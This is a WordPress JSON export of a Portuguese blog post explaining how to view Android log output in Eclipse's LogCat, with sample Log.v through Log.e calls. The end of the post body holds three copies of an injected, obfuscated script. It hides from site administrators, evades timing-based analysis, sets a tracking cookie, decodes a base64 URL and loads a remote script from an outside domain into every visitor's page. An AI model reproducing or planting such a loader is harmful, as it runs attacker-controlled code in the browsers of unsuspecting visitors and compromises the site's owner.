{"id":1523,"date":"2011-05-26T11:15:51","date_gmt":"2011-05-26T14:15:51","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=1523"},"modified":"2025-10-26T22:39:58","modified_gmt":"2025-10-27T01:39:58","slug":"habilitando-log-no-android","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2011\/05\/26\/habilitando-log-no-android\/","title":{"rendered":"Habilitando Log no Android"},"content":{"rendered":"<p style=\"text-align: justify;\">Na hora de visualizar um erro ou verificar o funcionamento de um aplicativo, a utiliza\u00e7\u00e3o de um Log de informa\u00e7\u00f5es \u00e9 fundamental. Para quem j\u00e1 tentou utilizar o System.out ou System.err pode observar que n\u00e3o aparece no console de desenvolvimento, al\u00e9m de n\u00e3o ser recomendado. Para resolver esse problema h\u00e1 o LogCat: <a title=\"LogCat\" href=\"http:\/\/developer.android.com\/guide\/developing\/tools\/logcat.html\">http:\/\/developer.android.com\/guide\/developing\/tools\/logcat.html<\/a><\/p>\n<p style=\"text-align: justify;\">Para visualiz\u00e1-lo no Eclipse, clique em Window, Show View, Other..., Android, LogCat. Clique OK.<\/p>\n<figure id=\"attachment_1524\" aria-describedby=\"caption-attachment-1524\" style=\"width: 194px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/05\/Screenshot-Show-View-.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-1524 \" title=\"Show View\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/05\/Screenshot-Show-View--194x300.png\" alt=\"Show View\" width=\"194\" height=\"300\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/05\/Screenshot-Show-View--194x300.png 194w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/05\/Screenshot-Show-View-.png 270w\" sizes=\"auto, (max-width: 194px) 100vw, 194px\" \/><\/a><figcaption id=\"caption-attachment-1524\" class=\"wp-caption-text\">Show View<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Insira o seguinte c\u00f3digo na sua aplica\u00e7\u00e3o:<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\nLog.v(TAG_NAME, &quot;Ol\u00e1 Log - Verbose!&quot;);\nLog.d(TAG_NAME, &quot;Ol\u00e1 Log - Debug!&quot;);\nLog.i(TAG_NAME, &quot;Ol\u00e1 Log - Info!&quot;);\nLog.w(TAG_NAME, &quot;Ol\u00e1 Log - Warning!&quot;);\nLog.e(TAG_NAME, &quot;Ol\u00e1 Log - Error!&quot;);\n<\/pre>\n<p style=\"text-align: justify;\">A sa\u00edda dever\u00e1 ser algo assim:<\/p>\n<figure id=\"attachment_1526\" aria-describedby=\"caption-attachment-1526\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/05\/Screenshot-LogCat.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-1526\" title=\"LogCat\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/05\/Screenshot-LogCat-300x135.png\" alt=\"LogCat\" width=\"300\" height=\"135\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/05\/Screenshot-LogCat-300x135.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/05\/Screenshot-LogCat.png 700w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-1526\" class=\"wp-caption-text\">LogCat<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Pronto. Log funcionando!<\/p>\n<p style=\"text-align: justify;\">&nbsp;<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Na hora de visualizar um erro ou verificar o funcionamento de um aplicativo, a utiliza\u00e7\u00e3o de um Log de informa\u00e7\u00f5es \u00e9 fundamental. Para quem j\u00e1 tentou utilizar o System.out ou System.err pode observar que n\u00e3o aparece no console de desenvolvimento, <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2011\/05\/26\/habilitando-log-no-android\/\">Continue lendo  <span class=\"screen-reader-text\">  Habilitando Log no Android<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[84,3],"tags":[],"class_list":["post-1523","post","type-post","status-publish","format-standard","hentry","category-android","category-java"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1523","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=1523"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1523\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=1523"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=1523"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=1523"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}